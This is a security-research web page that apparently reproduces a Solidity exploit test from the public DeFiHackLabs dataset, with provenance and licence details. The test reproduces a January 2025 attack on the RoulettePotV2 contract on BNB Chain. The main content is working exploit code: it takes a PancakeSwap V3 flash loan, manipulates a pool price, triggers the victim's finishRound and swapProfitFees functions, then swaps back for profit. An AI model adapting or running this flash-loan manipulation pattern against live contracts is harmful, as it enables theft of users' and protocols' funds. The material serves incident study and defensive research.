Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/RoulettePotV2_exp.sol

Public reproduction file for dataset entry RoulettePotV2.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/RoulettePotV2_exp.sol71 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : ~28K
7// Attacker : https://bscscan.com/address/0x0000000000004f3d8aaf9175fd824cb00ad4bf80
8// Attack Contract : https://bscscan.com/address/0x000000000000bb1b11e5ac8099e92e366b64c133
9// Vulnerable Contract : https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f
10// Attack Tx : https://bscscan.com/tx/0xd9e0014a32d96cfc8b72864988a6e1664a9b6a2e90aeaa895fcd42da11cc3490
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0xf573748637e0576387289f1914627d716927f90f#code
15// @Analysis
16// Post-mortem :
17// Twitter Guy : https://x.com/TenArmorAlert/status/1878008055717376068
18// Hacking God :
19pragma solidity ^0.8.0;
21import "../interface.sol";
23interface IRoulettePotV2 {
24 function finishRound() external;
25 function swapProfitFees() external;
28contract RoulettePotV2 is BaseTestWithBalanceLog {
29 uint256 blocknumToForkFrom = 45_668_285;
30 address internal constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;
31 address internal constant PancakeSwap = 0x824eb9faDFb377394430d2744fa7C42916DE3eCe;
32 address internal constant RoulettePotV2 = 0xf573748637E0576387289f1914627d716927F90f;
33 address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
34 address internal constant LINK = 0xF8A0BF9cF54Bb92F17374d9e9A321E6a111a51bD;
36 function setUp() public {
37 vm.createSelectFork("bsc", blocknumToForkFrom);
38 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
39 fundingToken = address(WBNB);
40 }
42 function testExploit() public balanceLog {
43 address recipient = PancakeSwap;
44 uint256 amount0 = 0;
45 uint256 amount1 = 4_203_732_130_200_000_000_000;
46 bytes memory data = abi.encode(amount1);
47 IPancakeV3Pool(PancakeV3Pool).flash(recipient, amount0, amount1, data);
48 }
50 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {
51 uint256 amount = abi.decode(data, (uint256));
53 uint256 amount0Out = 0;
54 uint256 amount1Out = 17_527_795_283_271_427_200_665;
55 address to = address(this);
56 IUniswapV2Pair(PancakeSwap).swap(amount0Out, amount1Out, to, new bytes(0));
58 IRoulettePotV2(RoulettePotV2).finishRound();
60 IRoulettePotV2(RoulettePotV2).swapProfitFees();
62 uint256 balance = IERC20(LINK).balanceOf(address(this));
63 IERC20(LINK).transfer(PancakeSwap, balance);
65 amount0Out = 4_243_674_096_928_729_821_513;
66 amount1Out = 0;
67 IUniswapV2Pair(PancakeSwap).swap(amount0Out, amount1Out, to, new bytes(0));
69 IERC20(WBNB).transfer(PancakeV3Pool, amount+fee1);
70 }

Analysis

Dataset entry

Public Foundry test for “RoulettePotV2” (2025-01-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0000000000004f3d8aaf9175fd824cb00ad4bf80

  • Attack Contract

    0x000000000000bb1b11e5ac8099e92e366b64c133

  • Vulnerable Contract

    0xf573748637e0576387289f1914627d716927f90f

  • Attack Tx

    0xd9e0014a32d96cfc8b72864988a6e1664a9b6a2e90aeaa895fcd42da11cc3490

File record

Name
RoulettePotV2
Path
src/test/2025-01/RoulettePotV2_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
fa51f52555bb3183bc7f2b6d609810fb6ebd4f64
Language
Solidity
Size
72 lines
Date
2025-01-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/RoulettePotV2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fa51f52555bb3183bc7f2b6d609810fb6ebd4f64, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.